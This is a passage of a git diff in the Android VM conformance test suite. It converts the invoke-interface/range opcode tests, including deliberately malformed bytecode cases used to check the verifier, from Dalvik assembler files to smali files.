-    invoke-interface/range {v3..v5}, dot/junit/opcodes/invoke_interface_range/ITest/testArgsOrder(II)I
-    move-result v4
-    const v5, 32
-    if-ne v4, v5, Label0
-
-    const v5, 123
-    if-ne v5, v1, Label0
-
-    const v5, 345
-    if-ne v5, v2, Label0
-
-
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.smali
new file mode 100644
index 0000000..4e09fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)I
+.registers 9
+    const v1, 123
+    const v2, 345
+
+    const v4, 64
+    const v5, 2
+    move-object v3, v8
+    invoke-interface/range {v3..v5}, Ldot/junit/opcodes/invoke_interface_range/ITest;->testArgsOrder(II)I
+    move-result v4
+    const v5, 32
+    if-ne v4, v5, :Label0
+
+    const v5, 123
+    if-ne v5, v1, :Label0
+
+    const v5, 345
+    if-ne v5, v2, :Label0
+
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.d
deleted file mode 100644
index 2cfcc5e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_16.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 6
-
-       const/high16 v3, 1065353216
-       move-object v2, v5
-       invoke-interface/range {v2..v3}, dot/junit/opcodes/invoke_interface_range/ITest/doit(F)V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.smali
new file mode 100644
index 0000000..c2cc2b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 6
+
+       const/high16 v3, 1065353216
+       move-object v2, v5
+       invoke-interface/range {v2..v3}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit(F)V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.d
deleted file mode 100644
index 014b348..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.d
+++ /dev/null
@@ -1,27 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_18.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-interface/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.smali
new file mode 100644
index 0000000..5f91c2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-interface/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.d
deleted file mode 100644
index cd8bc3e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_2.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface/range {v6..v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.smali
new file mode 100644
index 0000000..b5f215a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.d
deleted file mode 100644
index 3dd1bcd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_20.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_20
-.super java/lang/Object
-
-.field public static i I
-
-.method static <clinit>()V
-.limit regs 2
-Label0:
-       const/4 v1, 0
-       sput v1, dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_20.i I
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 5
-
-       invoke-interface/range {v3}, dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20/<clinit>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.smali
new file mode 100644
index 0000000..fb69883
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20;
+.super  Ljava/lang/Object;
+
+.field public static i:I
+
+.method static constructor <clinit>()V
+.registers 2
+:Label0
+       const/4 v1, 0
+       sput v1, Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20;->i:I
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 5
+
+       invoke-interface/range {v3}, Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20;-><clinit>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.d
deleted file mode 100644
index f8b1b95..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_21.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 9
-
-    const-wide v4, 64
-    move-object v3, v8
-    invoke-interface/range {v3..v5}, dot/junit/opcodes/invoke_interface_range/ITest/testArgsOrder(II)I
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.smali
new file mode 100644
index 0000000..83948cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_21.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 9
+
+    const-wide v4, 64
+    move-object v3, v8
+    invoke-interface/range {v3..v5}, Ldot/junit/opcodes/invoke_interface_range/ITest;->testArgsOrder(II)I
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.d
deleted file mode 100644
index 3b2a521..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_22.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_22
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       new-instance v0, dot/junit/opcodes/invoke_interface_range/ITestImpl
-
-       invoke-interface/range {v0}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.smali
new file mode 100644
index 0000000..8cc0221
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_22.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+
+       new-instance v0, Ldot/junit/opcodes/invoke_interface_range/ITestImpl;
+
+       invoke-interface/range {v0}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.d
deleted file mode 100644
index 9314daa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_interface_range.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_interface_range.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_interface_range_23.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_23
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_interface_range.d.ITestDefault
-.implements dot.junit.opcodes.invoke_interface_range.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-interface/range {v0}, dot/junit/opcodes/invoke_interface_range/d/ITestDefault/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault.smali
new file mode 100644
index 0000000..54110b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b322c45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/T_invoke_interface_range_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/T_invoke_interface_range_23.smali
new file mode 100644
index 0000000..4d52994
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/T_invoke_interface_range_23.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_range_23.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface/range {p0 .. p0}, Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.d
deleted file mode 100644
index c70dfb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_interface_range.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_interface_range.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestNonDefault.java
-.interface public dot.junit.opcodes.invoke_interface_range.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_interface_range.d.ITestDefault
-.implements dot.junit.opcodes.invoke_interface_range.d.ITestDefault2
-
-.method public abstract testDefault()V
-.end method
-
-
-.source T_invoke_interface_range_24.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_24
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_interface_range.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_interface_range.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-interface/range {v0}, dot/junit/opcodes/invoke_interface_range/d/ITestDefault2/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault.smali
new file mode 100644
index 0000000..54110b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b322c45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..e09a0f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
